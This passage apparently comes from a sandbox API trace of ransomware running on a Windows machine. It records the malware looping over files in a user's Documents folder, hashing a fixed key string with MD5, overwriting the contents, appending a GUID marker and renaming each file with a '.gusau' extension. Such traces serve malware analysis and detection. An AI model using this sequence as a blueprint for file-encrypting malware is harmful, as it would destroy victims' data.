returned=".csv" [0117.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\lbsR.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\lbsr.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.920] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=32765) returned 1 [0117.920] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.922] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7fd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.922] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.923] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.923] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.923] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.924] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x7ffd, lpOverlapped=0x0) returned 1 [0117.924] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.924] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.924] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.924] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.924] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.925] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.925] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.925] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.925] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.925] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.925] GetLastError () returned 0x0 [0117.925] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.925] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.925] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.925] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8000) returned 0x39f9f20 [0117.926] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.926] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x7ff8, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x7ff8, lpOverlapped=0x0) returned 1 [0117.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.926] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x7ffd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.926] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.926] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.926] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.926] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.926] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.926] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.926] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.926] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.927] CloseHandle (hObject=0x610) returned 1 [0117.927] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.927] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.927] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0117.927] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\lbsR.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\lbsr.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\lbsR.csv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\lbsr.csv.gusau")) returned 1 [0117.930] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.930] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.931] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.931] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4af6db0, ftCreationTime.dwHighDateTime=0x1d4cceb, ftLastAccessTime.dwLowDateTime=0x16753e90, ftLastAccessTime.dwHighDateTime=0x1d4d47d, ftLastWriteTime.dwLowDateTime=0x16753e90, ftLastWriteTime.dwHighDateTime=0x1d4d47d, nFileSizeHigh=0x0, nFileSizeLow=0x14050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mdkvH5k.csv", cAlternateFileName="")) returned 1 [0117.931] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.932] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.932] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\mdkvH5k.csv") returned=".csv" [0117.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\mdkvH5k.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\mdkvh5k.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.932] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=82000) returned 1 [0117.932] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.934] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1402a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.934] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.935] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.935] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.935] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.936] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14050, lpOverlapped=0x0) returned 1 [0117.937] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.937] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.937] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.937] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.937] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.938] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.938] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.938] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.938] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.938] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.938] GetLastError () returned 0x0 [0117.938] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.938] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.938] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.938] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14050) returned 0x39f9f20 [0117.938] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.938] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.938] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1404b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1404b, lpOverlapped=0x0) returned 1 [0117.939] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.939] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14050, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.939] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.939] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.939] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.939] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.939] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.939] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.939] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.939] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.939] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.939] CloseHandle (hObject=0x610) returned 1 [0117.940] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0117.940] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0117.940] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0117.940] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\mdkvH5k.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\mdkvh5k.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\mdkvH5k.csv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\mdkvh5k.csv.gusau")) returned 1 [0117.941] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.941] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.942] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.942] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 1 [0117.942] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.942] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0117.942] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.942] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\pelEM3i4e4Jx_4 Wkx.pdf") returned=".pdf" [0117.942] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\pelEM3i4e4Jx_4 Wkx.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\pelem3i4e4jx_4 wkx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.942] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=26686) returned 1 [0117.942] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.944] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.944] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.946] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.946] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.946] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.946] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x683e, lpOverlapped=0x0) returned 1 [0117.946] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.946] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.946] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.947] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.947] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0117.947] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.947] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.947] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.947] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.947] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.947] GetLastError () returned 0x0 [0117.948] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.948] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0117.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.948] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x6840) returned 0x39f9f20 [0117.948] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.948] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x6839, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x6839, lpOverlapped=0x0) returned 1 [0117.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.948] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x683e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.948] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0117.948] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.948] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0117.948] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.948] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.948] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.948] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.949] CloseHandle (hObject=0x610) returned 1 [0117.949] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0117.949] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0117.949] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0117.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\pelEM3i4e4Jx_4 Wkx.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\pelem3i4e4jx_4 wkx.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gck8eKrR\\pelEM3i4e4Jx_4 Wkx.pdf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gck8ekrr\\pelem3i4e4jx_4 wkx.pdf.gusau")) returned 1 [0117.950] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.950] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0117.951] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb646480, ftCreationTime.dwHighDateTime=0x1d4c7ff, ftLastAccessTime.dwLowDateTime=0x5cd1fbf0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0x5cd1fbf0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x683e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pelEM3i4e4Jx_4 Wkx.pdf", cAlternateFileName="PELEM3~1.PDF")) returned 0 [0117.951] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941658 | out: hHeap=0xd10000) returned 1 [0117.951] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0117.951] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.951] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.951] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0117.952] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.952] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.952] HeapFree (in: hHeap=0xd10000, 